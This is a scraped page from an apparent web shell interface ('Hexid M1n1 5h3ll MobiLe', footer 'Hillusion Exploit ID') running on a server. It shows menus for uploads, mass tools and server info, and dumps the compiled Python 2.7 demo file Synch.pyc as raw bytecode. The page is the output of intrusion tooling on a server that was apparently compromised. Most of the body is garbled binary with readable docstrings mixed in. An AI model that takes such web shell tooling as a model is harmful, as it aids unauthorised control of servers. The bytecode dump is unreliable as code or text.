Hexid M1n1 5h3ll MobiLe
HOME
+FILE
+DIR
Server Info
Mass Tools
Auto Unzip File
UpLite
Upload
Upmod
lib64
/
python2.7
/
Demo
/
metaclasses
/
_
[
Not.Writable
]
File Upload :
Gaszz
File://lib64/python2.7/Demo/metaclasses/Synch.pyc
� ��^c�����������@���s����d��Z��d�d�l�Z�d�d�d�������YZ�d����Z�d�d�l�m�Z�m�Z�m�Z�d�e�f�d�������YZ�d �e�f�d �������YZ �d�e�f�d�������YZ �e �d �d�i����Z�d����Z�e �d�k�r��e����e����n��d�S(���s`���Synchronization metaclass. This metaclass makes it possible to declare synchronized methods. i����Nt���Lockc�����������B���s,���e��Z�d��Z�d����Z�d�d���Z�d����Z�RS(���s���Reentrant lock. This is a mutex-like object which can be acquired by the same thread more than once. It keeps a reference count of the number of times it has been acquired by the same thread. Each acquire() call must be matched by a release() call and only the last release() call actually releases the lock for acquisition by another thread. The implementation uses two locks internally: __mutex is a short term lock used to protect the instance variables __wait is the lock for which other threads wait A thread intending to acquire both locks should acquire __wait first. The implementation uses two other instance variables, protected by locking __mutex: __tid is the thread ID of the thread that currently has the lock __count is the number of times the current thread has acquired it When the lock is released, __tid is None and __count is zero. c���������C���s4���t��j����|��_�t��j����|��_�d�|��_�d�|��_�d�S(���s0���Constructor. Initialize all instance variables.i����N(���t���threadt ���allocate_lockt���_Lock__mutext���_Lock__waitt���Nonet ���_Lock__tidt���_Lock__count(���t���self(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���__init__*���s���� i���c���������C���s����|��j��j����z-�|��j�t�j����k�r9�|��j�d�|��_�d�SWd�|��j��j����X|��j�j�|���}�|�ro�|�ro�d�SzW�|��j��j����|��j�d�k�s��t ���|��j�d�k�s��t ���t�j����|��_�d�|��_�d�SWd�|��j��j����Xd�S(���s}��Acquire the lock. If the optional flag argument is false, returns immediately when it cannot acquire the __wait lock without blocking (it may still block for a little while in order to acquire the __mutex lock). The return value is only relevant when the flag argument is false; it is 1 if the lock is acquired, 0 if not. i���Ni����( ���R���t���acquireR���R���t ���get_identR���t���releaseR���R���t���AssertionError(���R���t���flagt���locked(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR ���1���s"���� c���������C���s����|��j��j����zl�|��j�t�j����k�s+�t���|��j�d�k�s@�t���|��j�d�|��_�|��j�d�k�rx�d�|��_�|��j�j ����n��Wd�|��j��j ����Xd�S(���s����Release the lock. If this thread doesn't currently have the lock, an assertion error is raised. Only allow another thread to acquire the lock when the count reaches zero after decrementing it. i����i���N( ���R���R ���R���R���R���R ���R���R���R���R���(���R���(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR���Q���s���� (���t���__name__t ���__module__t���__doc__R ���R ���R���(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR���� ���s��� c����������C���s����g��}��|��d���}�|�|��d���}�t�����}�|�j����|�|���|�j����|�j����t�j�|�|�f���t�j�|�|�|�f���t�j�|�|�f���t�j�|�|�f���|�j����d�d��l�}�x.�t�|����d�k��r��t�|����GH|�j�d���q��Wt�|����GHd��S(���Nc���������S���s3���|��j�����d�t�j����G|��j����|�j�d���d��S(���Ns���f2 running in thread %d i���(���R ���R���R���R���t���append(���t���lockt���done(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���f2k���s���� c���������S���sE���|��j�����d�t�j����Gz�|�|����Wd��|��j����X|�j�d���d��S(���Ns���f1 running in thread %d i���(���R ���R���R���R���R���(���R���R���R���(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���f1q���s���� i����i ���g����MbP?(���R����R ���R���R���t���start_new_threadt���timet���lent���sleep(���R���R���R���R���R���(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt ���_testLockg���s$���� (���t ���MetaClasst ���MetaHelpert���MetaMethodWrappert���LockingMethodWrapperc�����������B���s���e��Z�d�����Z�RS(���c���������O���s����|��j��d� d�k�rC�|��j��d�d�k�rC�t�|��j�|��j�f�|�|���S|��j�j�j����z!�t�|��j�|��j�f�|�|���SWd��|��j�j�j����Xd��S(���Ni���t���_(���R���t���applyt���funct���instt���__lock__R ���R���(���R���t���argst���kw(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���__call__����s����&!(���R���R���R(���(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR �������s���t ���LockingHelperc�����������B���s���e��Z�e�Z�d�����Z�RS(���c���������C���s ���t��j�|��|���t����|��_�d��S(���N(���R���t���__helperinit__R����R%���(���R���t���formalclass(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR*�������s����(���R���R���R ���t���__methodwrapper__R*���(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR)�������s���t���LockingMetaClassc�����������B���s���e��Z�e�Z�RS(����(���R���R���R)���t ���__helper__(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR-�������s���t���Lockingc����������C���s����d�t��f�d�������Y}��d�d���}�d�d���}�t�j����}�|�j����t�j����}�|�j����|��d���}�d�}�t�j�|�|�|�|�f���t�j�|�|�|�|�f���|�j����d�GH|�j����d�GHd �Gt�|�j���GHd��S( ���Nt���Bufferc�����������B���s#���e��Z�d�����Z�d����Z�d����Z�RS(���c���������S���sB���|�d�k�s�t����|�|��_�d��g�|��j�|��_�d�|��_�|��_�d��S(���Ni����(���R ���t���sizeR���t���buffert���firstt���last(���R���t���initialsize(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR �������s���� c���������S���sI��|��j��d�|��j�|��j�k�rH�|�|��j�|��j��<|��j��d�|��j�|��_��d��Sd�G|��j�GHd�|��j�|��j��|��j�f�GH|��j�|��j��k�r��|��j�|��j�|��j��!}�n�|��j�|��j�|��j�|��j�� }�d�G|�GH|�d��g�|��j�d�|��_�d�|��_�|��j�d�|��_��|��j�d�|��_�d�G|��j�GHd�G|��j�GHd�|��j�|��j��|��j�f�GH|��j�|���d��S( ���Ni���s���buffer =s ���first = %d, last = %d, size = %ds���temp =i����i���s���Buffer size doubled tos���new buffer =(���R4���R1���R3���R2���R���t���put(���R���t���itemt���temp(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR6�������s(���� c���������S���sF���|��j��|��j�k�r�t���n��|��j�|��j��}�|��j��d�|��j�|��_��|�S(���Ni���(���R3���R4���t���EOFErrorR2���R1���(���R���R7���(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���get����s ���� (���R���R���R ���R6���R:���(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyR0�������s��� i���c���������S���s`���d�d��l��}�d�}�x0�|�|�k��rD�d�G|�GH|��j�|���|�d�}�q�Wd�G|�Gd�GH|�j����d��S(���Ni����i����R6���i���s���Producer: done producingt���items(���R���R6���R���(���R2���t���waitt���nR���t���i(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���producer����s���� c���������S���s����d�d��l��}�d�}�d�}�x��|�|�k��r��yK�|��j����}�|�|�k�rX�t�d�|�|�f���n��d�G|�GH|�d�}�d�}�Wq�t�k �r��|�j�|���|�d�}�q�Xq�Wd�G|�Gd �GH|�j����d��S( ���Ni����i����g����MbP?s���get() returned %s, expected %st���goti���i���s���Consumer: done consumingR;���(���R���R:���R ���R9���R���R���(���R2���R<���R=���R���R>���t���toutt���x(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���consumer����s"���� i���s ���Producer dones���All dones���buffer size ==(���R/���R���R���R ���R���R���R2���(���R0���R?���RC���t���pwaitt���cwaitR2���R=���(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���_test����s ����( t���__main__(����(����(���R���R���R����R���t���MetaR���R���R���R ���R)���R-���R/���RF���R���(����(����(����s.���/usr/lib64/python2.7/Demo/metaclasses/Synch.pyt���<module>���s���Z + U
Copyright © 2025 -
Tex7ure
|
Hillusion Exploit ID
Your Access Expired
Date. in :
15-03-2025
Regist :
09-12-2024
Expired :
01-12-2027